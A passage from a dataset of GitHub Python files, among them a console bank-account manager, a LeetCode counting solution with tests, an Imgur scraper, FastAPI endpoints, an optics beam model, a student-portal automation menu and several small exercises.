displayAll():\r\n file = pathlib.Path(\"accounts.data\")\r\n if file.exists():\r\n infile = open('accounts.data','rb')\r\n mylist = pickle.load(infile)\r\n for item in mylist:\r\n print(item.accNo, \" \", item.accName, \" \", item.accType, \" \", item.deposit)\r\n infile.close() # for close a open file in python\r\n else:\r\n print(\"No Recors to Display\")\r\n\r\n\r\n\r\n\r\ndef displaySp(num):\r\n file = pathlib.Path(\"accounts.data\")\r\n if file.exists():\r\n infile = open('accounts.data','rb')\r\n mylist = pickle.load(infile)\r\n infile.close()\r\n found = False\r\n for item in mylist:\r\n if item.accNo == num :\r\n print(\"Your Account Balance is :\",item.deposit)\r\n found = True\r\n else:\r\n print(\"No records to Search\")\r\n if not found :\r\n print(\"No Existing record found with this Number\")\r\n\r\n\r\ndef depositAndWithdraw(num1 , num2):\r\n file = pathlib.Path(\"accounts.data\")\r\n if file.exists():\r\n infile = open('accounts.data' , 'rb')\r\n mylist = pickle.load(infile)\r\n infile.close()\r\n os.remove('accounts.data')\r\n for item in mylist:\r\n if item.accNo == num1:\r\n if num2 == 1:\r\n amount = int(input(\"Enter the Amoun to be Deposite\"))\r\n item.deposit += amount\r\n print(\"Your Account is Updated\")\r\n elif num2 == 2:\r\n amount = int(input(\"Enter the Amount to be Withdrawn\"))\r\n if amount <= item.deposit:\r\n item.deposit -= amount\r\n else:\r\n print(\"Insufficent Balance\")\r\n else:\r\n print(\"No Records to Search\")\r\n outfile = open('newaccounts.data' ,'wb')\r\n pickle.dump(mylist, outfile)\r\n outfile.close()\r\n os.rename('newaccounts.data', 'accounts.data')\r\n\r\n\r\ndef deleteAccount(num):\r\n file = pathlib.Path(\"accounts.data\")\r\n if file.exists():\r\n infile = open('accounts.data' , 'rb')\r\n oldlist = pickle.load(infile)\r\n infile.close()\r\n newlist = []\r\n for item in oldlist:\r\n if item.accNo != num:\r\n newlist.append(item)\r\n os.remove('accounts.data')\r\n outfile = open('newaccounts.data', 'wb')\r\n pickle.dump(newlist,outfile)\r\n outfile.close()\r\n os.rename('newaccounts.data', 'accounts.data')\r\n\r\ndef ModifyAccountDetails(num):\r\n file = pathlib.path(\"accounts.data\")\r\n if file.exists():\r\n infile = open('accounts.data','rb')\r\n oldlist = pickle.load(infile)\r\n infile.close()\r\n os.remove('accounts.data')\r\n for item in oldlist:\r\n if item.accNo == num:\r\n item.name = input(\"Enter the Account Holder Name :\") \r\n item.type = input(\"Enter the Type of Account\")\r\n item.deposit = int(input(\"Enter the Amount :\"))\r\n\r\n outfile = open('newaccounts.data', 'wb')\r\n pickle.dump(oldlist, outfile)\r\n outfile.close()\r\n os.rename('newaccounts.data' , 'accounts.data')\r\n\r\ndef writeAccountsFile(account):\r\n file = pathlib.Path(\"accounts.data\")\r\n if file.exists ():\r\n infile = open('accounts.data', 'rb')\r\n oldlist = pickle.load(infile)\r\n oldlist.append(account)\r\n infile.close()\r\n os.remove(\"accounts.data\")\r\n else:\r\n oldlist = [account]\r\n outfile = open('newaccounts.data','wb')\r\n pickle.dump(oldlist, outfile)\r\n outfile.close()\r\n os.rename('newaccounts.data' ,'accounts.data')\r\n\r\n\r\n# Lets start the programme\r\nch = ''\r\nnum = 0\r\nintro()\r\n\r\nwhile ch != 8:\r\n\t#system(\"cls\");\r\n print(\"\\tMain Menu\")\r\n print(\"\\t1. New Account\")\r\n print(\"\\t2. Deposit Amount\")\r\n print(\"\\t3. Withdram Amount\")\r\n print(\"\\t4. Balanced Enquiry\")\r\n print(\"\\t5. All Account Holder List\")\r\n print(\"\\t6. Close an Account\")\r\n print(\"\\t7. Mofify An Account\")\r\n print(\"\\t8. Exit\")\r\n print(\"Select Your Option That You Want to Process from (1-8) :\")\r\n ch = input()\r\n #system(\"cls\");\r\n\r\n if ch =='1':\r\n writeAccount()\r\n elif ch == '2':\r\n num = int(input(\"\\tEnter the Account Number :\"))\r\n depositAndWithdraw(num, 1)\r\n elif ch == '3':\r\n num = int(input(\"\\tEnter the Account Number :\"))\r\n depositAndWithdraw(num, 2)\r\n elif ch == \"4\":\r\n num = int(input(\"\\tEnter the Account Number :\"))\r\n displaySp(num)\r\n elif ch == '5':\r\n displayAll()\r\n elif ch=='6':\r\n num = int(input(\"\\tEnter the Account Number :\"))\r\n deleteAccount(num)\r\n elif ch == '7':\r\n num = int(input(\"\\tEnter the Account Number :\"))\r\n ModifyAccountDetails(num)\r\n elif ch == '8':\r\n print(\"\\tThanks for Using Bank Management System\")\r\n break\r\n else:\r\n print(\"Invailid choice\")\r\n\r\n ch = input(\"Enter your Choice :\")","repo_name":"kailashlalwani/Banking-Management-System-","sub_path":"Account.py","file_name":"Account.py","file_ext":"py","file_size_in_byte":7037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4819511872","text":"\"\"\"\n315. Count of Smaller Numbers After Self\nYou are given an integer array nums and you have to return a new counts array.\nThe counts array has the property where counts[i] is the number of smaller elements to the right of nums[i]\n\nExample1:\nInput: nums = [5,2,6,1]\nOutput: [2,1,1,0]\nExplanation:\nTo the right of 5 there are 2 smaller elements (2 and 1).\nTo the right of 2 there is only 1 smaller element (1).\nTo the right of 6 there is 1 smaller element (1).\nTo the right of 1 there is 0 smaller element.\n\nExample2:\nInput: nums = [-1]\nOutput: [0]\n\nExample3:\nInput: nums = [-1,-1]\nOutput: [0,0]\n\nConstraints:\n1 <= nums.length <= 10^5\n-10^4 <= nums[i] <= 10^4\n\"\"\"\n\n\"\"\" \n1. Segment Tree: O(nlogn) time | O(n) space\n2. Merge sort: O(nlognlogn) time | O(n) space\nbisect_left(arr, x, ...) returns Locate the inertion point for x in arr to maintain sorted order\nThe returned insertion point i partitions the array arr into two halves so that all(val < x for val in arr[lo:i]) for the left side and all(val >= x for val in a[i:hi]) for the right side.\n3. Binary Indexed Tree: O(nlogn) time | O(n) space\n\"\"\"\n\nimport bisect\nfrom typing import List\nclass Node:\n def __init__(self, val, start, end) -> None:\n self.val = val\n self.start = start\n self.end = end\n self.children = []\n\nclass SegmentTree:\n def __init__(self, n):\n self.root = self.build(0, n-1)\n\n def build(self, start, end):\n if start > end:\n return\n \n root = Node(0, start, end)\n if start == end:\n return root\n \n mid = start + (end - start) // 2\n root.children.append(self.build(start, mid))\n root.children.append(self.build(mid+1, end))\n return root\n\n # add value to the node's and its children's val and return the node's updated val\n def update(self, i, val, node=None):\n node = node or self.root\n if i < node.start or i > node.end:\n return node.val\n\n if i == node.start == node.end:\n node.val += val\n return node.val\n \n node.val = sum([self.update(i, val, child) for child in node.children])\n return node.val\n \n def query(self, start, end, node=None):\n node = node or self.root\n if end < node.start or start > node.end:\n return 0\n \n # e.g. node(50, 100), start = 40, end = 110\n if start <= node.start and end >= node.end:\n return node.val\n\n return sum([self.query(start, end, child) for child in node.children])\n\nclass BIT: # aka Fenwick Tree\n def __init__(self, n):\n self.arr = [0] * (n+1)\n \n def update(self, i, delta=1):\n while i < len(self.arr):\n self.arr[i] += delta\n i += i & -i\n\n def query(self, i):\n result = 0\n while i > 0:\n result += self.arr[i]\n i -= i & -i\n return result\n\nclass Solution(object):\n def countSmaller(self, nums: List[int]) -> List[int]:\n indexDict = {num: i for i, num in enumerate(sorted(set(nums)))}\n tree = SegmentTree(len(indexDict))\n result = []\n\n for i in range(len(nums) - 1, -1, -1):\n result.append(tree.query(0, indexDict[nums[i]] - 1))\n tree.update(indexDict[nums[i]], 1)\n result.reverse()\n return result\n\n def countSmaller2(self, nums: List[int]) -> List[int]:\n result = [0] * len(nums)\n nums = [(n, i) for i, n in enumerate(nums)]\n\n def mergeTwoArray(leftArr, rightArr):\n n, m = len(leftArr), len(rightArr)\n for numIndex in leftArr:\n index = numIndex[1] # (num, i)[1] = i\n result[index] += bisect.bisect_left(rightArr, numIndex)\n\n # merge leftArr and rightArr into a sorted arr\n arr = []\n i = j = 0\n while i < n and j < m:\n if leftArr[i] <= rightArr[j]:\n arr.append(leftArr[i])\n i += 1\n else:\n arr.append(rightArr[j])\n j += 1\n arr.extend(leftArr[i:]) if i < n else arr.extend(rightArr[j:])\n return arr\n\n def countSmallerHelper(nums):\n if len(nums) <= 1:\n return nums\n \n mid = len(nums) // 2\n leftArr = countSmallerHelper(nums[:mid])\n rightArr = countSmallerHelper(nums[mid:])\n return mergeTwoArray(leftArr, rightArr)\n \n countSmallerHelper(nums)\n return result\n \n def countSmaller3(self, nums: List[int]) -> List[int]:\n # index (dict) stores the index of each num\n index = {}\n for i, num in enumerate(sorted(list(set(nums)))):\n index[num] = i\n \n tree = BIT(len(index))\n ans = [0] * len(nums)\n for i in range(len(nums)-1, -1, -1):\n num = nums[i]\n ans[i] = tree.query(index[num])\n tree.update(index[num]+1)\n return ans\n\n\n# Unit Tests\nimport unittest\nfuncs = [Solution().countSmaller, Solution().countSmaller2, Solution().countSmaller3]\n\nclass TestCountSmaller(unittest.TestCase):\n def testCountSmaller1(self):\n for func in funcs:\n nums = [5,2,6,1]\n self.assertEqual(func(nums=nums), [2, 1, 1, 0])\n\n def testCountSmaller2(self):\n for func in funcs:\n nums = [-1]\n self.assertEqual(func(nums=nums), [0])\n\n def testCountSmaller3(self):\n for func in funcs:\n nums = [-1, -1]\n self.assertEqual(func(nums=nums), [0, 0])\n\n def testCountSmaller4(self):\n for func in funcs:\n nums = [26,78,27,100,33,67,90,23,66,5,38,7,35,23,52,22,83,51,98,69,81,32,78,28,94,13,2,97,3,76,99,51,9,21,84,66,65,36,100,41]\n self.assertEqual(func(nums=nums), [10,27,10,35,12,22,28,8,19,2,12,2,9,6,12,5,17,9,19,12,14,6,12,5,12,3,0,10,0,7,8,4,0,0,4,3,2,0,1,0])\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"tkwang0530/LeetCode","sub_path":"0315.py","file_name":"0315.py","file_ext":"py","file_size_in_byte":6007,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"3208992734","text":"#!/usr/bin/env python3\n# image_site_download.py - it searches for a category of photos in Imgur and\n# downloads all the resulting images.\n\n# Note: Hardest part was to find the right selector to download the image.\n\nimport requests, os, bs4, logging, sys\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s – %(levelname)s – %(message)s\")\nlogging.disable(logging.CRITICAL)\n\n\ndef main():\n category = \"dogs\"\n\n # Get the search URL\n site = \"https://imgur.com/\"\n\n url = f'{site}search?q={category}'\n\n # Download the page.\n print('Downloading page %s...' % url)\n res = requests.get(url)\n res.raise_for_status()\n logging.info(f'Request to {url} successful.')\n\n soup = bs4.BeautifulSoup(res.text, 'html.parser')\n\n # Create the dir\n os.makedirs('imgur_photos', exist_ok=True)\n\n # Find the URL of the pictures\n cards = soup.select('.image-list-link > img')\n\n if len(cards) == 0:\n print('No results found.')\n sys.exit(0)\n\n # Limit the number of downloads\n num_downloads = min(5, len(cards))\n for i in range(num_downloads):\n # Download the image\n image_url = cards[i].get('src')\n card_url = f'https:{image_url}'\n print('Downloading image %s...' % card_url)\n res = requests.get(card_url)\n res.raise_for_status()\n logging.info(f'Request to {card_url} successful.')\n\n # Save the image\n image_file = open(os.path.join('imgur_photos', os.path.basename(card_url)), 'wb')\n for chunk in res.iter_content(100000):\n image_file.write(chunk)\n image_file.close()\n logging.info(f'Image {card_url} downloaded')\n\n print('All images downloaded successfully.')\n\n\nmain()\n\n","repo_name":"raserma/AutomateTheBoringStuff","sub_path":"Chapter 12/image_site_downloader.py","file_name":"image_site_downloader.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3260065148","text":"from typing import List\nfrom fastapi import APIRouter\nimport pymysql\n\nfrom schemas.fases import Fase\nfrom schemas.campeonato import CampeonatoMetadata\nfrom db.db import DATABASE\n\n\nrouter = APIRouter()\n\n\ndef execute_query(sql: str, return_data=False):\n \"\"\"\n Execute sql query in MySQL.\n \"\"\"\n data = None\n connection = pymysql.connect(**DATABASE)\n cursor = connection.cursor()\n cursor.execute(sql)\n connection.commit()\n\n if return_data:\n data = cursor.fetchall()\n\n cursor.close()\n connection.close()\n return data\n\n\n@router.get(\"/fases\", response_model=List[Fase])\ndef fases_metadata():\n \"\"\"\n Ruta para obtener metadatos de las fases\n \"\"\"\n query = \"\"\"\n select id, nombre, ida_vuelta\n from fases\n \"\"\"\n data = execute_query(sql=query, return_data=True)\n res = []\n\n for fase in data:\n res.append(\n Fase(\n id=fase[0],\n nombre=fase[1],\n ida_vuelta=bool(fase[2])\n )\n )\n return res\n\n\n@router.get(\"/campeonato\", response_model=CampeonatoMetadata)\ndef campeonato_metadata():\n \"\"\"\n Ruta para obtener metadatos del campeonato\n \"\"\"\n query = \"select name, abr_name from metadata_cup\"\n data = execute_query(sql=query, return_data=True)[0]\n return CampeonatoMetadata(name=data[0], abr_name=data[1])\n","repo_name":"Joaquin-Developer/u_cup_api","sub_path":"app/api_v1/endpoints/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"306770735","text":"import numpy as np\nfrom scipy.special import eval_genlaguerre\nimport pandas as pd\n\nclass Beam:\n def __init__(self, pixel_size, num_pixels, I, p1, l1, p2, l2, R, lda):\n self.I = I # intensity of beam\n self.pixel_size = pixel_size # side length of pixel in um\n self.num_pixels = num_pixels # number of pixels along one side of image\n self.R = R # radius of curvature of beam in um\n self.lda = lda # wavelength of beam in um\n self.length = self.num_pixels * self.pixel_size # physical length along side of image in um\n self.k = 2 * np.pi / lda # wavenumber of beam in inv um\n self.p1 = p1 # radial index of beam\n self.l1 = l1 # azimuthal index of beam\n self.p2 = p2 # radial index of beam\n self.l2 = l2 # azimuthal index of beam\n\n self.E = np.zeros((num_pixels, num_pixels), dtype=complex)\n\n def make_beam(self, x_p1=0, y_p1=0, x_p2=0, y_p2=0, w1=500, w2=500, psi1=0, psi2=0):\n \"\"\"\n function for creating beam profile on 2D surface\n :param x_p1: offset of origin in x-direction in pixels for beam component 1\n :param y_p1: offset of origin in y-direction in pixels for beam component 1\n :param x_p2: offset of origin in x-direction in pixels for beam component 2\n :param y_p2: offset of origin in y-direction in pixels for beam component 2\n :param w: waist size of beam\n :param psi1: phase of first beam component\n :param psi2: phase of second beam component\n :return:\n \"\"\"\n # Make first beam component\n x_off1, y_off1 = x_p1 * self.pixel_size, y_p1 * self.pixel_size\n x1 = np.linspace(-self.length / 2 + x_off1, self.length / 2 + x_off1, self.num_pixels)\n y1 = np.linspace(-self.length / 2 + y_off1, self.length / 2 + y_off1, self.num_pixels)\n X1, Y1 = np.meshgrid(x1, y1)\n r1 = np.sqrt(X1 ** 2 + Y1 ** 2)\n phi1 = np.angle(X1 + 1j * Y1)\n E1 = (r1 * np.sqrt(2) / w1) ** abs(self.l1) * np.exp(-1j * self.k * r1 ** 2 / (2 * self.R)) * \\\n np.exp(-r1 ** 2 / w1 ** 2) * np.exp(-1j * self.l1 * phi1) * \\\n eval_genlaguerre(self.p1, self.l1, 2 * r1 ** 2 / w1 ** 2) * \\\n np.exp(-1j*psi1)\n\n # Make second beam component\n x_off2, y_off2 = x_p2 * self.pixel_size, y_p2 * self.pixel_size\n x2 = np.linspace(-self.length / 2 + x_off2, self.length / 2 + x_off2, self.num_pixels)\n y2 = np.linspace(-self.length / 2 + y_off2, self.length / 2 + y_off2, self.num_pixels)\n X2, Y2 = np.meshgrid(x2, y2)\n r2 = np.sqrt(X2 ** 2 + Y2 ** 2)\n phi2 = np.angle(X2 + 1j * Y2)\n E2 = (r2 * np.sqrt(2) / w2) ** abs(self.l2) * np.exp(-1j * self.k * r2 ** 2 / (2 * self.R)) * \\\n np.exp(-r2 ** 2 / w2 ** 2) * np.exp(-1j * self.l2 * phi2) * \\\n eval_genlaguerre(self.p2, self.l2, 2 * r2 ** 2 / w2 ** 2) * \\\n np.exp(-1j*psi2)\n\n total = E1 + E2\n total /= total.max()\n self.E = np.sqrt(self.I) * total\n\n\ndef get_image(path, I1, I2):\n \"\"\"\n Function gets the image of the data in path\n :param path: path to file containing experimental data\n :return: 2D array of the data\n \"\"\"\n df = pd.read_csv(path, sep=';', header=None, skiprows=8).to_numpy()\n intensity = np.array([df[i][0:768].max() for i in range(df[0].size - 1)]).max()\n return df / intensity * np.sqrt(I1 / (I1 + I2))\n\n\ndef psi_get_image(path):\n \"\"\"\n Function gets the image of the data in path\n :param path: path to file containing experimental data\n :return: 2D array of the data\n \"\"\"\n df = pd.read_csv(path, sep=';', header=None, skiprows=8).to_numpy()\n intensity = np.array([df[i][0:768].max() for i in range(df[0].size - 1)]).max()\n return df / intensity","repo_name":"jleamer/classical_analogue_discord","sub_path":"beam.py","file_name":"beam.py","file_ext":"py","file_size_in_byte":4171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40202480845","text":"from pybuilder.core import use_plugin, init, task, Author\n\nuse_plugin(\"python.core\")\n# the python unittest plugin allows running python's standard library unittests\nuse_plugin(\"python.unittest\")\n# this plugin allows installing project dependencies with pip\nuse_plugin(\"python.install_dependencies\")\n# a linter plugin that runs flake8 (pyflakes + pep8) on our project sources\nuse_plugin(\"python.flake8\")\n# a plugin that measures unit test statement coverage\nuse_plugin(\"python.coverage\")\n# for packaging purposes since we'll build a tarball\nuse_plugin(\"python.distutils\")\n# PyCharm generate project files\nuse_plugin('python.pycharm')\n# Tool used to run static analysis on the SonarQube Tool\nuse_plugin('python.sonarqube')\n# Used do integrate the Sphinx generate documentation\nuse_plugin('python.sphinx')\n# Plugin used to copy resources of the project\nuse_plugin(\"copy_resources\")\n\ndefault_task = [\"install_dependencies\", \"clean\", \"analyze\", \"publish\"]\n\nname = \"inova-proxy\"\nversion = \"0.0.1\"\nsummary = \"Centro Paula Souza - Inova - Proxy Service\"\ndescription = \"Proxy service module created to integrate with a external WebServices providers (CNPq)\"\nauthors = [Author(\"Lucas Nadalete\", \"lucas.nadalete@fatec.sp.gov.br\"),\n Author(\"Eduardo Sakaue\", \"eduardo.sakaue@fatec.sp.gov.br\")]\nlicense = \"GNU General Public License v3.0\"\nurl = \"https://github.com/cpsinova/inova-proxy\"\n\n\n@init\ndef initialize(project): # initialize dependencies, project version, properties, licence, etc.\n project.set_property('unittest_module_glob','*_test')\n project.set_property('coverage_break_build', False)\n project.set_property(\"coverage_threshold_warn\", 80)\n project.set_property(\"coverage_branch_threshold_warn\", 80)\n project.set_property(\"coverage_branch_partial_threshold_warn\", 50)\n\n project.set_property('distutils_use_setuptools',True)\n project.set_property('distutils_setup_keywords', ['cps', 'inova', 'proxy', 'cnpq', 'lattes'])\n\n project.set_property('flake8_exclude_patterns', '.git,__pycache__,docs,old,build,dist,unittest,venv')\n project.set_property('flake8_verbose_output', True)\n\n project.depends_on_requirements(\"requirements.txt\")\n project.build_depends_on('mockito')\n\n project.get_property(\"copy_resources_glob\").append(\"src/main/resources/application.properties\")\n project.get_property(\"copy_resources_glob\").append(\"runserver.sh\")\n project.set_property(\"copy_resources_target\", \"$dir_dist\")\n project.install_file(\"$dir_dist\", \"src/main/resources/application.properties\")\n project.install_file(\"$dir_dist\", \"runserver.sh\")\n\n\n@task(\"say_hello\", description='funny init task')\ndef say_hello(logger, project): # dependency injection for \"logger\" and \"project\"\n print(\"Hello, PyBuilder of INOVA projects!\")\n logger.info(\"I am building {0} in version {1}!\".format(project.name, project.version))\n pass\n","repo_name":"InovaCPS/inova-proxy","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"3761196005","text":"# ushar Bane4:40 PM\n# s = \"aabbcdedcdedbb12121dab\"\n# Tushar Bane4:41 PM\n# output {'a':3, b:4, c:\"2\".......}\n\n\ns = \"aabbcdedcdedbb12121dab\"\n# i=s.count(\"a\")\n# print(i)\n\ndict={\"a\":\"apple\",\"b\":\"Boy\"}\n\n# # print(dict.keys())\n# # print(dict.values())\n# print(dict[\"a\"])\n# x=dict.items()\n# print(x)\n\n","repo_name":"davshakya/selenium","sub_path":"Practice1/pytest/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21934900496","text":"from main import *\nfrom material import *\nfrom status import *\nfrom permission import *\nfrom permissionstatus import *\nfrom prediction import *\nimport urllib.request\nfrom colorama import Fore, Style\nimport os\nimport time\n\nVERSION = '~ 1.0.0'\n\nBANNER = Fore.GREEN + '''\n\n Student Portal ''' + Fore.RED + '''\n ,,\n db mm mm db\n ;MM: MM MM\n ,V^MM. `7MM `7MM mmMMmm ,pW\"Wq.`7MMpMMMb.pMMMb. ,6\"Yb.mmMMmm `7MM ,pW\"Wq.`7MMpMMMb.\n ,M `MM MM MM MM 6W' `Wb MM MM MM 8) MM MM MM 6W' `Wb MM MM\n AbmmmqMA MM MM MM 8M M8 MM MM MM ,pm9MM MM MM 8M M8 MM MM\n A' VML MM MM MM YA. ,A9 MM MM MM 8M MM MM MM YA. ,A9 MM MM\n .AMA. .AMMA.`Mbod\"YML. `Mbmo`Ybmd9'.JMML JMML JMML.`Moo9^Yo.`Mbmo.JMML.`Ybmd9'.JMML JMML.''' + Fore.GREEN + VERSION + '''\n\n\n\n - 𝘽𝙮 𝙍𝙤𝙝𝙖𝙣 '''\nfn = 'logindetails.txt'\nif os.path.exists(fn):\n file = open(fn, \"r\")\n temp = file.readlines()\n file.close()\n\nelse:\n file = open(fn, \"w\")\n print('E N T E R Y O U R L O G I N D E T A I L S : ')\n\n print('\\n')\n\n detail1 = input('R E G I S T R A T I O N I D :')\n print('\\n')\n detail2 = input('P A S S W O R D :')\n\n file.write(detail1 + \"\\n\" + detail2)\n file.close()\n file = open(fn, 'r')\n temp = file.readlines()\n file.close()\n\n# BANNER\nprint(Style.BRIGHT + BANNER)\nprint(Style.RESET_ALL)\n\nGraphical = ['graphical', 'Graphical', 'G', 'g']\nSpider = ['Spider', 'spider', 'S', 's']\nMATERIAL_SCRIPT_CODE = ['Material', 'material', 'M', 'm']\nSTATUS_SCRIPT_CODE = ['Status', 'status', 'S', 's']\nPREDICTORS_SCRIPT_CODE = ['Predictor', 'predictor', 'P', 'p']\nATTENDANCE_SCRIPT_CODE = ['Automate', 'automate', 'A', 'a']\nPERMISSION_APPLY_CODE = ['Apply', 'apply', 'ap', 'Ap', 'aP', 'AP']\nPERMISSION_STATUS_CODE = ['Pstat', 'pstat', 'PSTAT', 'ps', 'Ps', 'pS']\nEXIT_CODE = ['EXE', 'exe', 'e', 'E']\n\n\ntry:\n # NETWORK STATUS\n def CONNECTION_CHECK():\n try:\n urllib.request.urlopen('https://www.gitam.edu/')\n return True\n except:\n return False\n\n\n print('\\n')\n\n print(Fore.LIGHTCYAN_EX + \"Checking Internet Connectivity STATUS ~\", end=\"\")\n\n time.sleep(2)\n\n if (CONNECTION_CHECK()):\n\n print(Fore.GREEN + Style.BRIGHT + ' CONNECTION ESTABLISHED!')\n print(Style.RESET_ALL)\n # CALLING THE MAIN FUNCTION\n\n while True:\n print('\\n\\n')\n\n print(Fore.BLUE + Style.BRIGHT + '_____________________________Scripts_____________________________')\n print(Fore.RED + 'Script_Action{:>50}'.format('C o d e'))\n\n print(Fore.BLUE + Style.BRIGHT + '_________________________________________________________________')\n print(Fore.RED + '[ * ]' + Fore.WHITE + ' G-learn Materials{:>52}'.format(\n Fore.RED + 'Material || M'))\n\n print(Fore.RED + '[ * ]' + Fore.WHITE + ' Academic Attendance Status{:>41}'.format(\n Fore.RED + 'Status || S'))\n\n print(Fore.RED + '[ * ]' + Fore.WHITE + ' Attendance Analysis{:>51}'.format(\n Fore.RED + 'Predictor || P'))\n\n print(Fore.RED + '[ * ]' + Fore.WHITE + ' Attendance Automate{:>50}'.format(\n Fore.RED + 'Automate || A'))\n\n print(Fore.RED + '[ * ]' + Fore.WHITE + ' Apply for a Permission(VSP){:>40}'.format(\n Fore.RED + 'Apply || ap'))\n\n print(Fore.RED + '[ * ]' + Fore.WHITE + ' Permission Status{:>50}'.format(\n Fore.RED + 'pstat || ps'))\n\n print(Fore.RED + '[ * ]' + Fore.WHITE + ' Exit Code{:>56}'.format(\n Fore.RED + 'exe || e'))\n\n print('\\n')\n option = input(Fore.BLUE + 'E N T E R C O D E >> ').lower()\n\n print('\\n\\n')\n if option in ATTENDANCE_SCRIPT_CODE:\n while True:\n control_flow = input(\n 'Enter ' + Fore.LIGHTCYAN_EX + Style.BRIGHT + \"'Graphical||G'\" + Style.RESET_ALL + ' for ' + Style.RESET_ALL + Fore.RED + 'Graphical Action,' + Style.RESET_ALL + Fore.LIGHTBLUE_EX + Style.BRIGHT + \" 'Spider'||'S' \" + Style.RESET_ALL + 'to deploy' + Fore.RED + \" WebSpider : \").lower()\n if control_flow in Graphical:\n control_flow = '01'\n main(control_flow)\n break\n elif control_flow in Spider:\n control_flow = '10'\n main(control_flow)\n break\n else:\n print(Fore.RED + \"Invalid input.\\nRe-enter.\")\n continue\n\n\n elif option in MATERIAL_SCRIPT_CODE:\n MATERIAL_PY()\n break\n\n elif option in STATUS_SCRIPT_CODE:\n STATUS_PY()\n break\n elif option in PERMISSION_APPLY_CODE:\n PERMISSION_APPLY()\n elif option in PERMISSION_STATUS_CODE:\n PERMISSION_STAT()\n elif option in PREDICTORS_SCRIPT_CODE:\n\n print(Fore.RED+Style.BRIGHT+'\\nNote ~ '+Fore.BLUE+\" Deploying this script in 'Graphical-Mode' will be slower that anticipated.\\n\")\n\n while True:\n control_flow = input(\n 'Enter ' + Fore.LIGHTCYAN_EX + Style.BRIGHT + \"'Graphical||G'\" + Style.RESET_ALL + ' for ' + Style.RESET_ALL + Fore.RED + 'Graphical Action,' + Style.RESET_ALL + Fore.LIGHTBLUE_EX + Style.BRIGHT + \" 'Spider'||'S' \" + Style.RESET_ALL + 'to deploy' + Fore.RED + \" WebSpider : \").lower()\n if control_flow in Graphical:\n control_flow = '01'\n PREDICTION(control_flow)\n break\n elif control_flow in Spider:\n control_flow = '10'\n PREDICTION(control_flow)\n break\n else:\n print(Fore.RED + \"Invalid input.\\nRe-enter\")\n continue\n\n\n elif option in EXIT_CODE:\n print(Fore.RED + Style.BRIGHT + 'Exiting Code .. ')\n exit()\n\n else:\n print(Fore.RED + Style.BRIGHT + 'Invalid Script C0de ... ')\n continue\n\n\n\n\n\n\n else:\n print(Fore.RED + Style.BRIGHT + ' NO INTERNET')\n print(Fore.RED + Style.BRIGHT + 'Exiting Code ...\\n')\n exit()\n\n\nexcept KeyboardInterrupt:\n print(Fore.RED + Style.BRIGHT + '\\n\\nKeyboard Interruption !\\nExiting Code . . .\\n')\n\n\nprint(Style.RESET_ALL)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"r0han99/Student-Portal-Automation","sub_path":"automate/automate.py","file_name":"automate.py","file_ext":"py","file_size_in_byte":7009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16423397227","text":"'''\nЗначение выражения \n343^5 + 7^3 - 1 - X\nзаписали в СС с основанием 7\nв записи оказалось 12 цифр 6\nПри каком минимальном целом положительном X это возможно?\n'''\n\nx = 1\nwhile True:\n f = 343**5 + 7**3 - 1 - x\n count = 0\n while f > 0:\n ost = f % 7\n f = f // 7\n if ost == 6:\n count += 1\n if count == 12:\n print(x)\n break\n x += 1\n","repo_name":"permCoding/ege-21-22","sub_path":"tasks/task14/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29290993393","text":"#!/usr/bin/python\n# -*- coding: utf8 -*-\n\nfrom urllib.request import Request, urlopen\nfrom urllib.parse import urlencode\n\n\ndef get_short_url(long_url):\n data = urlencode({\n \"url\": long_url,\n \"format\": \"simple\"\n })\n req = Request(\n url=\"https://qwqq.pw/api.php\",\n method=\"POST\",\n data=bytes(data, 'utf8')\n )\n with urlopen(req, timeout=60) as res:\n return str(res.read(), 'utf8')\n\n\nif __name__ == '__main__':\n print(get_short_url(\"https://www.baidu.com\"))\n","repo_name":"zhouziqunzzq/qwqq_pw_example","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9620333431","text":"n=int(input(\"enter the number:\"))\r\nfor i in range(1,n+1):\r\n if(i%3==0)and(i%n!=0):\r\n print(\"fizz\")\r\n elif(i%5==0)and(i%n!=0):\r\n print(\"buzz\")\r\n elif(i%3==0)and(i%5==0):\r\n print(\"fizzbuzz\")\r\n else:\r\n print(i)\r\n","repo_name":"Hariprashanth2005/Hariprashanth","sub_path":"day4ex1.py","file_name":"day4ex1.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29873445742","text":"import sys, time\ninput = sys.stdin.readline\n\nstart = time.time()\nN, M, K = map(int, input().split())\nadd = [list(map(int, input().split())) for _ in range(N)]\nMAP = [[5] * N for _ in range(N)]\n\ntrees = [[[] for _ in range(N)] for _ in range(N)]\nfor i in range(M):\n x, y, z = map(int, input().split())\n trees[x-1][y-1].append(z)\n\ndx = [-1, -1, 0, 1, 1, 1, 0, -1]\ndy = [0, 1, 1, 1, 0, -1, -1, -1]\n\nfor year in range(K):\n # 봄 - 나이 +1 or 사망\n for x in range(N):\n for y in range(N):\n 